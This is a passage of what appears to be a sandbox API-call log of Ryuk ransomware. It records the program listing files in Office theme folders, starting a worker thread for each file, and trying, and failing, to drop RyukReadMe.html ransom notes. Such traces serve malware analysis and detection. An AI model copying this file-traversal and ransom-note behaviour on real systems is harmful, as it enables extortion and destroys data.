	[0170.494] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.494] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8
	[0170.496] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.497] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.497] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec
	[0170.498] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.499] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.499] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.499] SetLastError (dwErrCode=0x0) 
	[0170.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.500] GetLastError () returned 0x5
	[0170.500] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.500] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0170.500] SetLastError (dwErrCode=0x0) 
	[0170.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.500] GetLastError () returned 0x5
	[0170.500] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.501] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0170.503] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.503] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.503] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0
	[0170.506] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.506] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1
	[0170.507] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4
	[0170.509] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.510] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1
	[0170.510] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8
	[0170.513] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.513] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc
	[0170.516] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.517] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.517] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.517] SetLastError (dwErrCode=0x0) 
	[0170.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.518] GetLastError () returned 0x5
	[0170.518] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.519] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0170.519] SetLastError (dwErrCode=0x0) 
	[0170.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.519] GetLastError () returned 0x5
	[0170.519] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0170.788] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.788] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804
	[0170.791] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.792] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1
	[0170.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808
	[0170.796] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.796] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x8e, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1
	[0170.796] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c
	[0170.800] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.800] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.800] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810
	[0170.803] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.804] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.804] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.805] SetLastError (dwErrCode=0x0) 
	[0170.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.805] GetLastError () returned 0x5
	[0170.805] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.805] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.805] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0170.805] SetLastError (dwErrCode=0x0) 
	[0170.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.806] GetLastError () returned 0x5
	[0170.806] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0170.910] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.911] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.911] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814
	[0170.914] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.914] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1
	[0170.914] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818
	[0170.917] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.918] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1
	[0170.918] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c
	[0170.921] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.921] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.921] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820
	[0170.926] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.926] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.926] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.927] SetLastError (dwErrCode=0x0) 
